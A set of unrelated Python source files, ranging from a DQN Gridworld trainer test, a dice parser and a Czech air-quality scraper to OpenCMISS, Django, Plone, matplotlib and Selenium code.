models.FullyConnectedDQN( state_dim=get_num_output_features(state_normalization_parameters), action_dim=len(environment.ACTIONS), num_atoms=parameters.rainbow.num_atoms, sizes=parameters.training.layers[1:-1], activations=parameters.training.activations[:-1], ) elif categorical: assert not dueling distributional_network = models.FullyConnectedDQN( state_dim=get_num_output_features(state_normalization_parameters), action_dim=len(environment.ACTIONS), num_atoms=parameters.rainbow.num_atoms, sizes=parameters.training.layers[1:-1], activations=parameters.training.activations[:-1], ) q_network = models.CategoricalDQN( distributional_network, qmin=-100, qmax=200, num_atoms=parameters.rainbow.num_atoms, ) else: if dueling: q_network = make_dueling_dqn() else: q_network = models.FullyConnectedDQN( state_dim=get_num_output_features(state_normalization_parameters), action_dim=len(environment.ACTIONS), sizes=parameters.training.layers[1:-1], activations=parameters.training.activations[:-1], ) q_network_cpe, q_network_cpe_target, reward_network = None, None, None if parameters.evaluation and parameters.evaluation.calc_cpe_in_training: q_network_cpe = models.FullyConnectedDQN( state_dim=get_num_output_features(state_normalization_parameters), action_dim=len(environment.ACTIONS), sizes=parameters.training.layers[1:-1], activations=parameters.training.activations[:-1], ) q_network_cpe_target = q_network_cpe.get_target_network() reward_network = models.FullyConnectedDQN( state_dim=get_num_output_features(state_normalization_parameters), action_dim=len(environment.ACTIONS), sizes=parameters.training.layers[1:-1], activations=parameters.training.activations[:-1], ) if use_gpu: q_network = q_network.cuda() if parameters.evaluation.calc_cpe_in_training: reward_network = reward_network.cuda() q_network_cpe = q_network_cpe.cuda() q_network_cpe_target = q_network_cpe_target.cuda() if use_all_avail_gpus and not categorical: q_network = q_network.get_distributed_data_parallel_model() reward_network = reward_network.get_distributed_data_parallel_model() q_network_cpe = q_network_cpe.get_distributed_data_parallel_model() q_network_cpe_target = ( q_network_cpe_target.get_distributed_data_parallel_model() ) if quantile: parameters = QRDQNTrainerParameters.from_discrete_action_model_parameters( parameters ) trainer = QRDQNTrainer( q_network, q_network.get_target_network(), parameters, use_gpu, reward_network=reward_network, q_network_cpe=q_network_cpe, q_network_cpe_target=q_network_cpe_target, ) elif categorical: parameters = C51TrainerParameters.from_discrete_action_model_parameters( parameters ) trainer = C51Trainer( q_network, q_network.get_target_network(), parameters, use_gpu ) else: parameters = DQNTrainerParameters.from_discrete_action_model_parameters( parameters ) trainer = DQNTrainer( q_network, q_network.get_target_network(), reward_network, parameters, use_gpu, q_network_cpe=q_network_cpe, q_network_cpe_target=q_network_cpe_target, ) return trainer def get_trainer( self, environment, reward_shape, dueling, categorical, quantile, use_gpu=False, use_all_avail_gpus=False, clip_grad_norm=None, ): trainer = self.get_modular_sarsa_trainer_reward_boost( environment, reward_shape, dueling=dueling, categorical=categorical, quantile=quantile, use_gpu=use_gpu, use_all_avail_gpus=use_all_avail_gpus, clip_grad_norm=clip_grad_norm, ) return trainer def get_predictor(self, trainer, environment): state_normalization_parameters = environment.normalization state_preprocessor = Preprocessor(state_normalization_parameters, False) q_network = trainer.q_network if isinstance(trainer, QRDQNTrainer): class _Mean(torch.nn.Module): def forward(self, input): assert input.ndim == 3 return input.mean(dim=2) q_network = models.Sequential(q_network, _Mean()) dqn_with_preprocessor = DiscreteDqnWithPreprocessor( q_network.cpu_model().eval(), state_preprocessor ) serving_module = DiscreteDqnPredictorWrapper( dqn_with_preprocessor=dqn_with_preprocessor, action_names=environment.ACTIONS, ) predictor = DiscreteDqnTorchPredictor(serving_module) return predictor def _test_evaluator_ground_truth( self, dueling=False, categorical=False, quantile=False, use_gpu=False, use_all_avail_gpus=False, clip_grad_norm=None, ): environment = Gridworld() evaluator = GridworldEvaluator(environment, False, DISCOUNT) trainer = self.get_trainer( environment, {}, dueling=dueling, categorical=categorical, quantile=quantile, use_gpu=use_gpu, use_all_avail_gpus=use_all_avail_gpus, clip_grad_norm=clip_grad_norm, ) self.evaluate_gridworld(environment, evaluator, trainer, use_gpu) def test_evaluator_ground_truth_no_dueling_modular(self): self._test_evaluator_ground_truth() @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_evaluator_ground_truth_no_dueling_gpu_modular(self): self._test_evaluator_ground_truth(use_gpu=True) def test_evaluator_ground_truth_dueling_modular(self): self._test_evaluator_ground_truth(dueling=True) @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_evaluator_ground_truth_dueling_gpu_modular(self): self._test_evaluator_ground_truth(dueling=True, use_gpu=True) def test_evaluator_ground_truth_categorical_modular(self): self._test_evaluator_ground_truth(categorical=True) @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_evaluator_ground_truth_categorical_gpu_modular(self): self._test_evaluator_ground_truth(categorical=True, use_gpu=True) def test_evaluator_ground_truth_quantile_modular(self): self._test_evaluator_ground_truth(quantile=True) @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_evaluator_ground_truth_quantile_gpu_modular(self): self._test_evaluator_ground_truth(quantile=True, use_gpu=True) def test_evaluator_ground_truth_dueling_quantile_modular(self): self._test_evaluator_ground_truth(dueling=True, quantile=True) @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_evaluator_ground_truth_dueling_quantile_gpu_modular(self): self._test_evaluator_ground_truth(dueling=True, quantile=True, use_gpu=True) def _test_reward_boost(self, use_gpu=False, use_all_avail_gpus=False): environment = Gridworld() reward_boost = {"L": 100, "R": 200, "U": 300, "D": 400} trainer = self.get_trainer( environment, reward_boost, dueling=False, categorical=False, quantile=False, use_gpu=use_gpu, use_all_avail_gpus=use_all_avail_gpus, ) evaluator = GridworldEvaluator( env=environment, assume_optimal_policy=False, gamma=DISCOUNT ) self.evaluate_gridworld(environment, evaluator, trainer, use_gpu) def test_reward_boost_modular(self): self._test_reward_boost() @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_reward_boost_gpu_modular(self): self._test_reward_boost(use_gpu=True) def test_predictor_torch_export(self): """Verify that q-values before model export equal q-values after model export. Meant to catch issues with export logic.""" environment = Gridworld() samples = Samples( mdp_ids=["0"], sequence_numbers=[0], sequence_number_ordinals=[1], states=[{0: 1.0, 1: 1.0, 2: 1.0, 3: 1.0, 4: 1.0, 5: 1.0, 15: 1.0, 24: 1.0}], actions=["D"], action_probabilities=[0.5], rewards=[0], possible_actions=[["R", "D"]], next_states=[{5: 1.0}], next_actions=["U"], terminals=[False], possible_next_actions=[["R", "U", "D"]], ) tdps = environment.preprocess_samples(samples, 1) assert len(tdps) == 1, "Invalid number of data pages" trainer = self.get_trainer(environment, {}, False, False, False) input = rlt.FeatureData(tdps[0].states) pre_export_q_values = trainer.q_network(input).detach().numpy() state_normalization_parameters = environment.normalization preprocessor = Preprocessor(state_normalization_parameters, False) cpu_q_network = trainer.q_network.cpu_model() cpu_q_network.eval() dqn_with_preprocessor = DiscreteDqnWithPreprocessor(cpu_q_network, preprocessor) serving_module = DiscreteDqnPredictorWrapper( dqn_with_preprocessor, action_names=environment.ACTIONS ) with tempfile.TemporaryDirectory() as tmpdirname: buf = export_module_to_buffer(serving_module) tmp_path = os.path.join(tmpdirname, "model") with open(tmp_path, "wb") as f: f.write(buf.getvalue()) f.close() predictor = DiscreteDqnTorchPredictor(torch.jit.load(tmp_path)) post_export_q_values = predictor.predict([samples.states[0]]) for i, action in enumerate(environment.ACTIONS): self.assertAlmostEqual( float(pre_export_q_values[0][i]), float(post_export_q_values[0][action]), places=4, )

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# Copyright (c) Facebook, Inc. and its affiliates. # All rights reserved. # # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. import random class Dice: def __init__(self): pass def roll(self): raise NotImplementedError() def describe(self): raise NotImplementedError() @classmethod def from_str(cls, s): dice = [] for sub in s.split('+'): sub = sub.strip() if 'd' not in sub: constant = int(sub) dice.append(ConstantDice(constant)) else: splits = sub.split('d') if len(splits) == 1: num = 1 max_roll = splits[0] elif len(splits) == 2: num, max_roll = splits if num == '': num = 1 else: raise Exception('could not parse dice string {} in main dice string {}'.format(sub, s)) dice.extend([SingleDice(max=int(max_roll)) for _ in range(int(num))]) return SumDice(dice) if len(dice) > 1 else dice[0] class ConstantDice(Dice): def __init__(self, constant): super().__init__() self.constant = self.max = constant def roll(self): return self.constant def describe(self): return repr(self.constant) class SingleDice(Dice): def __init__(self, max=20): super().__init__() self.max = max def roll(self): return random.randint(1, self.max) def describe(self): return 'd{}'.format(self.max) class SumDice(Dice): def __init__(self, subdice): super().__init__() self.sub = subdice @property def max(self): return sum(d.max for d in self.sub) def roll(self): return sum(d.roll() for d in self.sub) def describe(self): return ' + '.join([d.describe() for d in self.sub])

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#################################### # Informace o kvalitě ovzduší v ČR # #################################### import datetime, re, scraperwiki, urlparse from BeautifulSoup import BeautifulSoup def getEvaluation(node): evaluation = re.match( "\d+(\.\d+)?", node.find("span").text.encode("utf8").replace(",", ".").replace(" ", "") ) if evaluation: evaluation = evaluation.group() else: style = node["style"] if style == "background-color: white": evaluation = "Neúplná data" elif style == "background-color: #CFCFCF": evaluation = "Veličina se na uvedené stanici neměří" else: evaluation = "" return evaluation def reformatDate(text): match = re.match( "(?P<day>\d{2})\.(?P<month>\d{2})\.(?P<year>\d{4})\s+(?P<hours>\d{2}):(?P<minutes>\d{2})", text ) date = "{0[0]}-{0[1]}-{0[2]}T{0[3]}:{0[4]}:00+01:00".format( map(match.group, ["year", "month", "day", "hours", "minutes"]) ) return date def reformatCoords(text): latitude, longitude = text.encode("utf-8").replace(" sš ", "N\n").replace(" vd", "E").replace("°", "").replace("´", "'").split("\n") return latitude, longitude def scrapeWeatherStation(url): html = scraperwiki.scrape(url) soup = BeautifulSoup(html) tds = soup.find("table").findAll("td") altitude = re.match("\d+", tds[-1].text).group() latitude, longitude = reformatCoords(tds[-3].text) return latitude, longitude, altitude # Vytvoření záhlaví ukládaných dat scraperwiki.sqlite.save_var( "data_columns", [ "code", "name", "owner", "province", # Kraj "latitude", "longitude", "altitude", "time", "airquality", "SO2_1h", "NO2_1h", "CO_1h", "O3_1h", "PM10_1h", "PM10_24h" ] ) # Získání stránky startingUrl = "http://portal.chmi.cz/files/portal/docs/uoco/web_generator/actual_hour_data_CZ.html" html = scraperwiki.scrape(startingUrl) soup = BeautifulSoup(html) # Najdi první tabulku table = soup.find("table") trs = table.findAll("tr") for tr in trs: ths = tr.findAll("th") tds = tr.findAll("td") rowSignature = (len(tds), len(ths)) if rowSignature == (0, 9): th = tr.find("th") province = th.text.replace("Kraj: ", "") th = th.findNext().text date = reformatDate(th) elif rowSignature == (0, 10): pass elif rowSignature == (10, 1): pass elif rowSignature == (11, 0): td = tr.find("td") identifier = td.find("a") code = identifier.text weatherStationUrl = urlparse.urljoin(startingUrl, identifier["href"]) latitude, longitude, altitude = scrapeWeatherStation(weatherStationUrl) td = td.findNext().findNext() name = td.text td = td.findNext() owner = td.text td = td.findNext() airquality = getEvaluation(td) td = td.findNext("td") SO2_1h = getEvaluation(td) td = td.findNext("td") NO2_1h = getEvaluation(td) td = td.findNext("td") CO_1h = getEvaluation(td) td = td.findNext("td") O3_1h = getEvaluation(td) td = td.findNext("td") PM10_1h = getEvaluation(td) td = td.findNext("td").findNext("td") PM10_24h = getEvaluation(td) scraperwiki.datastore.save(["code"], { "code" : code, "name" : name, "owner" : owner, "province" : province, "latitude" : latitude, "longitude" : longitude, "altitude" : altitude, "time" : date, "airquality" : airquality, "SO2_1h" : SO2_1h, "NO2_1h" : NO2_1h, "CO_1h" : CO_1h, "O3_1h" : O3_1h, "PM10_1h" : PM10_1h, "PM10_24h" : PM10_24h, }, date = datetime.datetime(*map(int, re.split('[^\d]', date)[:-2]))) else: raise Exception #################################### # Informace o kvalitě ovzduší v ČR # #################################### import datetime, re, scraperwiki, urlparse from BeautifulSoup import BeautifulSoup def getEvaluation(node): evaluation = re.match( "\d+(\.\d+)?", node.find("span").text.encode("utf8").replace(",", ".").replace(" ", "") ) if evaluation: evaluation = evaluation.group() else: style = node["style"] if style == "background-color: white": evaluation = "Neúplná data" elif style == "background-color: #CFCFCF": evaluation = "Veličina se na uvedené stanici neměří" else: evaluation = "" return evaluation def reformatDate(text): match = re.match( "(?P<day>\d{2})\.(?P<month>\d{2})\.(?P<year>\d{4})\s+(?P<hours>\d{2}):(?P<minutes>\d{2})", text ) date = "{0[0]}-{0[1]}-{0[2]}T{0[3]}:{0[4]}:00+01:00".format( map(match.group, ["year", "month", "day", "hours", "minutes"]) ) return date def reformatCoords(text): latitude, longitude = text.encode("utf-8").replace(" sš ", "N\n").replace(" vd", "E").replace("°", "").replace("´", "'").split("\n") return latitude, longitude def scrapeWeatherStation(url): html = scraperwiki.scrape(url) soup = BeautifulSoup(html) tds = soup.find("table").findAll("td") altitude = re.match("\d+", tds[-1].text).group() latitude, longitude = reformatCoords(tds[-3].text) return latitude, longitude, altitude # Vytvoření záhlaví ukládaných dat scraperwiki.sqlite.save_var( "data_columns", [ "code", "name", "owner", "province", # Kraj "latitude", "longitude", "altitude", "time", "airquality", "SO2_1h", "NO2_1h", "CO_1h", "O3_1h", "PM10_1h", "PM10_24h" ] ) # Získání stránky startingUrl = "http://portal.chmi.cz/files/portal/docs/uoco/web_generator/actual_hour_data_CZ.html" html = scraperwiki.scrape(startingUrl) soup = BeautifulSoup(html) # Najdi první tabulku table = soup.find("table") trs = table.findAll("tr") for tr in trs: ths = tr.findAll("th") tds = tr.findAll("td") rowSignature = (len(tds), len(ths)) if rowSignature == (0, 9): th = tr.find("th") province = th.text.replace("Kraj: ", "") th = th.findNext().text date = reformatDate(th) elif rowSignature == (0, 10): pass elif rowSignature == (10, 1): pass elif rowSignature == (11, 0): td = tr.find("td") identifier = td.find("a") code = identifier.text weatherStationUrl = urlparse.urljoin(startingUrl, identifier["href"]) latitude, longitude, altitude = scrapeWeatherStation(weatherStationUrl) td = td.findNext().findNext() name = td.text td = td.findNext() owner = td.text td = td.findNext() airquality = getEvaluation(td) td = td.findNext("td") SO2_1h = getEvaluation(td) td = td.findNext("td") NO2_1h = getEvaluation(td) td = td.findNext("td") CO_1h = getEvaluation(td) td = td.findNext("td") O3_1h = getEvaluation(td) td = td.findNext("td") PM10_1h = getEvaluation(td) td = td.findNext("td").findNext("td") PM10_24h = getEvaluation(td) scraperwiki.datastore.save(["code"], { "code" : code, "name" : name, "owner" : owner, "province" : province, "latitude" : latitude, "longitude" : longitude, "altitude" : altitude, "time" : date, "airquality" : airquality, "SO2_1h" : SO2_1h, "NO2_1h" : NO2_1h, "CO_1h" : CO_1h, "O3_1h" : O3_1h, "PM10_1h" : PM10_1h, "PM10_24h" : PM10_24h, }, date = datetime.datetime(*map(int, re.split('[^\d]', date)[:-2]))) else: raise Exception

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from . import * @A.register class Def(IField): ''' Name: random_generator Category: sampler Inputs: min:c max:c dim:i Output: sample:f ''' def __init__(self, min=0, max=1, dim=0): self.min = min self.max = max self.dim = dim @ti.func def random(self): return ti.random() * (self.max - self.min) + self.min @ti.func def _subscript(self, I): if ti.static(self.dim == 0): return self.random() else: return ti.Vector([self.random() for i in range(self.dim)])

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S = input() print(S + 'pp')

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from collections import defaultdict import random from uuid import uuid4 from six.moves.urllib.parse import ( urlsplit, parse_qsl, ParseResult, urlunsplit, quote_plus) from typing import Iterable def get_summary(urls, top_items=20, top_urls=3, sample=True): # type: (Iterable[str], int, int) -> UrlSummaryResult """ Return a summary for given list or iterable of ``urls``. ``top_items`` (20 by default) controls how many top-level items to show, and ``top_urls`` (3 by default) sets the number of random urls to show for each top-level item. Returns a UrlSummaryResult: a list subclass that has a nice Jupyter Notebook display. """ index = defaultdict(list) value_index = defaultdict(set) for url in urls: index['all', ''].append(url) parsed = urlsplit(url) # type: ParseResult index['netloc', format(parsed.netloc)].append(url) path = parsed.path.rstrip('/').split('/') for i in range(1, len(path)): index['path start', '/'.join(path[: i + 1])].append(url) for k, v in _parse_qsl(parsed.query or ''): index['query key', '?{}'.format(k)].append(url) value_index[k].add(v) index['query key=value', '?{}={}'.format(k, v)].append(url) items = sorted(index.items(), key=lambda x: (-len(x[1]), x[0])) summary = [] for k, v in items[:top_items]: stat = {'len': len(v), 'sample': sorted(_sample(v, top_urls, sample=sample))} if k[0] == 'query key': stat['len_v_set'] = len(value_index.get(k[1][1:])) summary.append((k, stat)) return UrlSummaryResult(summary) def _sample(lst, n, seed=42, sample=True): if len(lst) <= n: return lst elif sample: random.seed(seed) return random.sample(lst, n) else: return lst[:n] def _quote(s): return quote_plus(s, safe='/') def _parse_qsl(s): return parse_qsl(s, keep_blank_values=True) def _bold(x, bold=True): return '{}'.format(x) if bold else x def _urlencode_quoted(x): return '&'.join('{}={}'.format(k, v) for k, v in x) class UrlSummaryResult(list): def _repr_html_(self): return '<ul>{}</ul>'.format( '\n'.join(self._render_sample(field, value, stat) for (field, value), stat in self)) def _render_sample(self, field, value, stat): el_id = uuid4() # Using "hidden" class defined by the Jupyter notebook sample_elements = [self._render_url(url, field, value) for url in stat['sample']] if stat['len'] > len(sample_elements): sample_elements.append('…') return '''\ <li> <span href="#" style="cursor: pointer" onclick="\ var el = document.getElementById('{id}'); \ this.getElementsByTagName('SPAN')[0].textContent = \ el.classList.contains('hidden') ? '&#9660' : '&#9658'; \ el.classList.toggle('hidden')" >{n:,} {field}: {value}{extra} ► <ul id="{id}" class="hidden" style="margin-top: 0">{sample}</ul> </li>'''.format( id=el_id, n=stat['len'], field=field, value=value, extra=(' ({len_v_set:,} unique values)'.format(**stat) if 'len_v_set' in stat else ''), sample='\n'.join('<li>{}</li>'.format(el) for el in sample_elements), ) def _render_url(self, url, field, value): return '<a href="{href}" target="_blank">{url}</a>'.format( href=url, url=self._highlight(url, field, value)) def _highlight(self, url, field, value): if field == 'all': return url parsed = urlsplit(url) # type: ParseResult netloc = parsed.netloc path = parsed.path query = parsed.query if field == 'netloc': netloc = _bold(parsed.netloc) elif field == 'path start': s = len(value) path = '{}{}'.format(_bold(parsed.path[1:s]), parsed.path[s:]) elif field == 'query key': key_value = value[1:] query = _urlencode_quoted( [(_bold(_quote(k), k == key_value), _quote(v)) for k, v in _parse_qsl(query)]) elif field == 'query key=value': key_value, value_value = value[1:].split('=', 1) query = _urlencode_quoted( [(_bold(_quote(k), bold), _bold(_quote(v), bold)) for bold, k, v in ( (k == key_value and v == value_value, k, v) for k, v in _parse_qsl(query))]) return urlunsplit((parsed.scheme, netloc, path, query, parsed.fragment))

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from math import radians from opencmiss.zinc.graphics import Graphics from opencmiss.zinc.material import Material from opencmiss.zinc.status import OK as ZINC_OK from opencmiss.utils.maths import vectorops as maths from ..utils import zincutils class ScaffoldModel(object): def __init__(self, region, material_module, file_path): self._region = region self._material_module = material_module self._file_path = file_path self._scaffold_coordinate_field = None self._initialise_scene() self._initialise_surface_material() self._initialise_scaffold() self._settings = dict(yaw=0.0, pitch=0.0, roll=0.0, X=0.0, Y=0.0, Z=0.0) self._settings_change_callback = None self._current_angle_value = [0., 0., 0.] self._current_axis_value = [0., 0., 0.] def reset_settings(self): self._settings = dict(yaw=0.0, pitch=0.0, roll=0.0, X=0.0, Y=0.0, Z=0.0) self._apply_callback() def set_settings_change_callback(self, settings_change_callback): self._settings_change_callback = settings_change_callback def _apply_callback(self): self._settings_change_callback() def get_yaw_value(self): return self._settings['yaw'] def get_pitch_value(self): return self._settings['pitch'] def get_roll_value(self): return self._settings['roll'] def get_X_value(self): return self._settings['X'] def get_Y_value(self): return self._settings['Y'] def get_Z_value(self): return self._settings['Z'] def _create_surface_graphics(self): fm = self._region.getFieldmodule() fm.beginChange() surface_right_atrium = self._scene.createGraphicsSurfaces() surface_right_atrium.setCoordinateField(self._scaffold_coordinate_field) surface_right_atrium.setSubgroupField(fm.findFieldByName('right atrium')) surface_right_atrium.setRenderPolygonMode(Graphics.RENDER_POLYGON_MODE_SHADED) surface_material = self._material_module.findMaterialByName('right atrium') surface_right_atrium.setMaterial(surface_material) surface_right_atrium.setName('display_right_atrium_surfaces') surface_left_atrium = self._scene.createGraphicsSurfaces() surface_left_atrium.setCoordinateField(self._scaffold_coordinate_field) surface_left_atrium.setSubgroupField(fm.findFieldByName('left atrium')) surface_left_atrium.setRenderPolygonMode(Graphics.RENDER_POLYGON_MODE_SHADED) surface_material = self._material_module.findMaterialByName('left atrium') surface_left_atrium.setMaterial(surface_material) surface_left_atrium.setName('display_left_atrium_surfaces') surface_right_ventricle = self._scene.createGraphicsSurfaces() surface_right_ventricle.setCoordinateField(self._scaffold_coordinate_field) surface_right_ventricle.setSubgroupField(fm.findFieldByName('right ventricle')) surface_right_ventricle.setRenderPolygonMode(Graphics.RENDER_POLYGON_MODE_SHADED) surface_material = self._material_module.findMaterialByName('right ventricle') surface_right_ventricle.setMaterial(surface_material) surface_right_ventricle.setName('display_right_ventricle_surfaces') surface_left_ventricle = self._scene.createGraphicsSurfaces() surface_left_ventricle.setCoordinateField(self._scaffold_coordinate_field) surface_left_ventricle.setSubgroupField(fm.findFieldByName('left ventricle')) surface_left_ventricle.setRenderPolygonMode(Graphics.RENDER_POLYGON_MODE_SHADED) surface_material = self._material_module.findMaterialByName('left ventricle') surface_left_ventricle.setMaterial(surface_material) surface_left_ventricle.setName('display_left_ventricle_surfaces') fm.endChange() return def _create_line_graphics(self): lines = self._scene.createGraphicsLines() lines.setCoordinateField(self._scaffold_coordinate_field) lines.setName('display_lines') black = self._material_module.findMaterialByName('white') lines.setMaterial(black) return lines def create_scaffold_graphics(self): # self._create_line_graphics() self._create_surface_graphics() def _initialise_scene(self): if self._region.getScene(): self._region.getScene().removeAllGraphics() self._scene = self._region.getScene() def get_scene(self): if self._scene is not None: return self._scene else: raise ValueError('Scaffold scene is not initialised.') def _initialise_surface_material(self): self._material_module.beginChange() trans_blue = self._material_module.createMaterial() trans_blue.setName('trans_blue') trans_blue.setManaged(True) trans_blue.setAttributeReal3(Material.ATTRIBUTE_AMBIENT, [0.0, 0.2, 0.6]) trans_blue.setAttributeReal3(Material.ATTRIBUTE_DIFFUSE, [0.0, 0.7, 1.0]) trans_blue.setAttributeReal3(Material.ATTRIBUTE_EMISSION, [0.0, 0.0, 0.0]) trans_blue.setAttributeReal3(Material.ATTRIBUTE_SPECULAR, [0.1, 0.1, 0.1]) trans_blue.setAttributeReal(Material.ATTRIBUTE_ALPHA, 0.3) trans_blue.setAttributeReal(Material.ATTRIBUTE_SHININESS, 0.2) right_atrium = self._material_module.createMaterial() right_atrium.setName('right atrium') right_atrium.setManaged(True) right_atrium.setAttributeReal3(Material.ATTRIBUTE_AMBIENT, [0.82, 0.45, 0.35]) right_atrium.setAttributeReal3(Material.ATTRIBUTE_DIFFUSE, [0.82, 0.45, 0.35]) right_atrium.setAttributeReal3(Material.ATTRIBUTE_EMISSION, [0.0, 0.0, 0.0]) right_atrium.setAttributeReal3(Material.ATTRIBUTE_SPECULAR, [0.1, 0.1, 0.1]) right_atrium.setAttributeReal(Material.ATTRIBUTE_ALPHA, 0.7) right_atrium.setAttributeReal(Material.ATTRIBUTE_SHININESS, 0.2) left_atrium = self._material_module.createMaterial() left_atrium.setName('left atrium') left_atrium.setManaged(True) left_atrium.setAttributeReal3(Material.ATTRIBUTE_AMBIENT, [0.79, 0.42, 0.32]) left_atrium.setAttributeReal3(Material.ATTRIBUTE_DIFFUSE, [0.79, 0.42, 0.32]) left_atrium.setAttributeReal3(Material.ATTRIBUTE_EMISSION, [0.0, 0.0, 0.0]) left_atrium.setAttributeReal3(Material.ATTRIBUTE_SPECULAR, [0.1, 0.1, 0.1]) left_atrium.setAttributeReal(Material.ATTRIBUTE_ALPHA, 0.7) left_atrium.setAttributeReal(Material.ATTRIBUTE_SHININESS, 0.2) right_ventricle = self._material_module.createMaterial() right_ventricle.setName('right ventricle') right_ventricle.setManaged(True) right_ventricle.setAttributeReal3(Material.ATTRIBUTE_AMBIENT, [0.71, 0.33, 0.22]) right_ventricle.setAttributeReal3(Material.ATTRIBUTE_DIFFUSE, [0.71, 0.33, 0.22]) right_ventricle.setAttributeReal3(Material.ATTRIBUTE_EMISSION, [0.0, 0.0, 0.0]) right_ventricle.setAttributeReal3(Material.ATTRIBUTE_SPECULAR, [0.1, 0.1, 0.1]) right_ventricle.setAttributeReal(Material.ATTRIBUTE_ALPHA, 0.7) right_ventricle.setAttributeReal(Material.ATTRIBUTE_SHININESS, 0.2) left_ventricle = self._material_module.createMaterial() left_ventricle.setName('left ventricle') left_ventricle.setManaged(True) left_ventricle.setAttributeReal3(Material.ATTRIBUTE_AMBIENT, [0.59, 0.22, 0.05]) left_ventricle.setAttributeReal3(Material.ATTRIBUTE_DIFFUSE, [0.59, 0.22, 0.05]) left_ventricle.setAttributeReal3(Material.ATTRIBUTE_EMISSION, [0.0, 0.0, 0.0]) left_ventricle.setAttributeReal3(Material.ATTRIBUTE_SPECULAR, [0.1, 0.1, 0.1]) left_ventricle.setAttributeReal(Material.ATTRIBUTE_ALPHA, 0.7) left_ventricle.setAttributeReal(Material.ATTRIBUTE_SHININESS, 0.2) self._material_module.endChange() return def _initialise_scaffold(self): result = self._region.readFile(self._file_path) if result != ZINC_OK: raise ValueError('Failed to initiate scaffold') self._scaffold_coordinate_field = self._get_model_coordinate_field() def _get_mesh(self): fm = self._region.getFieldmodule() for dimension in range(3, 0, -1): mesh = fm.findMeshByDimension(dimension) if mesh.getSize() > 0: return mesh raise ValueError('Model contains no mesh') def _get_model_coordinate_field(self): mesh = self._get_mesh() element = mesh.createElementiterator().next() if not element.isValid(): raise ValueError('Model contains no elements') fm = self._region.getFieldmodule() cache = fm.createFieldcache() cache.setElement(element) field_iter = fm.createFielditerator() field = field_iter.next() while field.isValid(): if field.isTypeCoordinate() and (field.getNumberOfComponents() <= 3): if field.isDefinedAtLocation(cache): return field field = field_iter.next() raise ValueError('Could not determine model coordinate field') def rotate_scaffold(self, angle, value): next_angle_value = value if angle == 'yaw': if next_angle_value > self._current_angle_value[0]: angle_value = next_angle_value - self._current_angle_value[0] else: angle_value = -(self._current_angle_value[0] - next_angle_value) euler_angles = [angle_value, 0., 0.] self._current_angle_value[0] = next_angle_value self._settings['yaw'] = next_angle_value elif angle == 'pitch': if next_angle_value > self._current_angle_value[1]: angle_value = next_angle_value - self._current_angle_value[1] else: angle_value = -(self._current_angle_value[1] - next_angle_value) euler_angles = [0., angle_value, 0.] self._current_angle_value[1] = next_angle_value self._settings['pitch'] = next_angle_value else: if next_angle_value > self._current_angle_value[2]: angle_value = next_angle_value - self._current_angle_value[2] else: angle_value = -(self._current_angle_value[2] - next_angle_value) euler_angles = [0., 0., angle_value] self._current_angle_value[2] = next_angle_value self._settings['roll'] = next_angle_value angles = euler_angles angles = [radians(x) for x in angles] rotation = maths.eulerToRotationMatrix3(angles) zincutils.transform_coordinates(self._scaffold_coordinate_field, rotation) self._apply_callback() def translate_scaffold(self, axis, value, rate): next_axis_value = value * rate if axis == 'X': if next_axis_value > self._current_axis_value[0]: axis_value = next_axis_value - self._current_axis_value[0] else: axis_value = -(self._current_axis_value[0] - next_axis_value) new_coordinates = [axis_value, 0., 0.] self._current_axis_value[0] = next_axis_value self._settings['X'] = next_axis_value elif axis == 'Y': if next_axis_value > self._current_axis_value[1]: axis_value = next_axis_value - self._current_axis_value[1] else: axis_value = -(self._current_axis_value[1] - next_axis_value) new_coordinates = [0., axis_value, 0.] self._current_axis_value[1] = next_axis_value self._settings['Y'] = next_axis_value else: if next_axis_value > self._current_axis_value[2]: axis_value = next_axis_value - self._current_axis_value[2] else: axis_value = -(self._current_axis_value[2] - next_axis_value) new_coordinates = [0., 0., axis_value] self._current_axis_value[2] = next_axis_value self._settings['Z'] = next_axis_value offset = new_coordinates zincutils.offset_scaffold(self._scaffold_coordinate_field, offset) self._apply_callback()

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from django.conf.urls import url from .views import CustomerListView urlpatterns = [ url(r'^$', CustomerListView.as_view(), name='customer_list'), ]

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#-*- coding: UTF-8 -*- from plone.directives import form class ITodo(form.Schema): """ emc project member area personal todo items container content type """

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"""Plot to test patches""" import matplotlib.pyplot as plt from matplotlib import patches import numpy as np def main(): fig, ax = plt.subplots() ax.grid(color='lightgray') rcolor = lambda: np.random.random(3) p = [patches.Arrow(0.75, 0.75, 0.5, 0.5), patches.Circle((1, 2), 0.4), patches.RegularPolygon((1, 3), 5, 0.4), patches.Rectangle((1.6, 0.75), 0.8, 0.5), patches.CirclePolygon((2, 2), 0.4), patches.Polygon([[1.75, 3], [2, 3.25], [2.25, 3], [2, 2.75], [1.75, 3]]), patches.Wedge((3, 1), 0.4, 0, 270), patches.Ellipse((3, 2), 0.6, 0.4), patches.Arc((3, 3), 0.5, 0.5, 270, 90), ] for patch in p: patch.set_facecolor(rcolor()) patch.set_edgecolor(rcolor()) patch.set_alpha(0.5) patch.set_linewidth(2) ax.add_patch(patch) # add a static patch ax.add_patch(patches.Rectangle((0.3, 0.4), 0.4, 0.4, fc='yellow', ec='black', alpha=0.3, transform=ax.transAxes)) # make sure axes ratio is equal ax.set_xlim(0.5, 0.5 + 3. * 4. / 3.) ax.set_ylim(0.5, 3.5) ax.set_title("Various Patches", size=16) return fig if __name__ == '__main__': main() plt.show()

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from selenium import webdriver import unittest import time class SecondHeadline(unittest.TestCase): def setUp(self): self.driver = webdriver.Chrome() self.driver.maximize_window() self.driver.get("https://www.themuse.com/") time.sleep(1) explore_companies = self.driver.find_element_by_xpath("/html/body/header/nav[2]/a[1]") explore_companies.click() def test_Headline_is_found(self): driver = self.driver assert (driver.find_element_by_xpath("//div/div/div[2]/div[1]/div/div[1]/h2")) def test_Headline_text_is_found(self): driver = self.driver element = driver.find_element_by_xpath("//div/div/div[2]/div[1]/div/div[1]/h2") self.assertEqual(element.text,"Browse offices before you apply.") def tearDown(self): self.driver.quit()

